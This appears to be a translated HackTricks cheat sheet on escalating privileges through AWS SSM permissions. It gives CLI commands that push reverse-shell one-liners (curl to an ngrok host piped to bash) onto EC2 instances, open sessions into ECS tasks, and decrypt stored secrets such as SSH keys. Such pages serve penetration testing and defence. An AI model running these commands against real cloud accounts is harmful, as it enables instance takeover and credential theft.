AWS - SSM Privesc

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

SSM

有关SSM的更多信息,请查看:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

拥有**ssm:SendCommand权限的攻击者可以在运行Amazon SSM代理的实例中执行命令**,并妥协运行其中的IAM角色

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

在已经遭到入侵的 EC2 实例内部提升权限时,您可以使用以下命令在本地捕获反向 shell:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在影响: 直接提升权限至运行中带有运行SSM代理的EC2 IAM角色。

ssm:StartSession

拥有**ssm:StartSession权限的攻击者可以在运行Amazon SSM代理的实例中启动类似SSH的会话**,并危害其中运行的IAM角色

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

潜在影响: 直接提升权限以访问运行中带有运行 SSM 代理的 EC2 IAM 角色。

ECS 提权

ECS 任务 使用 ExecuteCommand 启用 运行时,具有足够权限的用户可以使用 ecs execute-command 在容器内部执行命令。 根据文档,这是通过在启动“exec”命令的设备和带有 SSM 会话管理器的目标容器之间创建安全通道来完成的(必须安装 SSM 会话管理器插件)。 因此,具有 ssm:StartSession 权限的用户将能够通过运行以下命令在启用该选项的 ECS 任务内部获取 shell:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

潜在影响: 直接提升至运行具有启用ExecuteCommandECSIAM角色的任务。

ssm:ResumeSession

拥有权限**ssm:ResumeSession的攻击者可以在运行Amazon SSM代理的实例中重新启动类似SSH的会话**,当SSM会话状态断开时,并危及其中运行的IAM角色

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在影响: 直接提升权限至运行实例附加的 EC2 IAM 角色,当 SSM 代理运行并断开会话时。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

具有上述权限的攻击者将能够列出 SSM 参数 并以明文形式读取。在这些参数中,您经常可以找到诸如 SSH 密钥或 API 密钥等敏感信息

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

潜在影响: 查找参数中的敏感信息。

ssm:ListCommands

拥有此权限的攻击者可以列出所有发送的命令,并希望在其中找到敏感信息

aws ssm list-commands

潜在影响: 查找命令行中的敏感信息。

ssm:GetCommandInvocation,(ssm:ListCommandInvocations | ssm:ListCommands)

拥有这些权限的攻击者可以列出所有发送的命令读取生成的输出,希望能在其中找到敏感信息

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

潜在影响: 在命令行输出中查找敏感信息。

Codebuild

您还可以使用SSM进入正在构建的codebuild项目:

AWS - Codebuild Privesc
从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

Last updated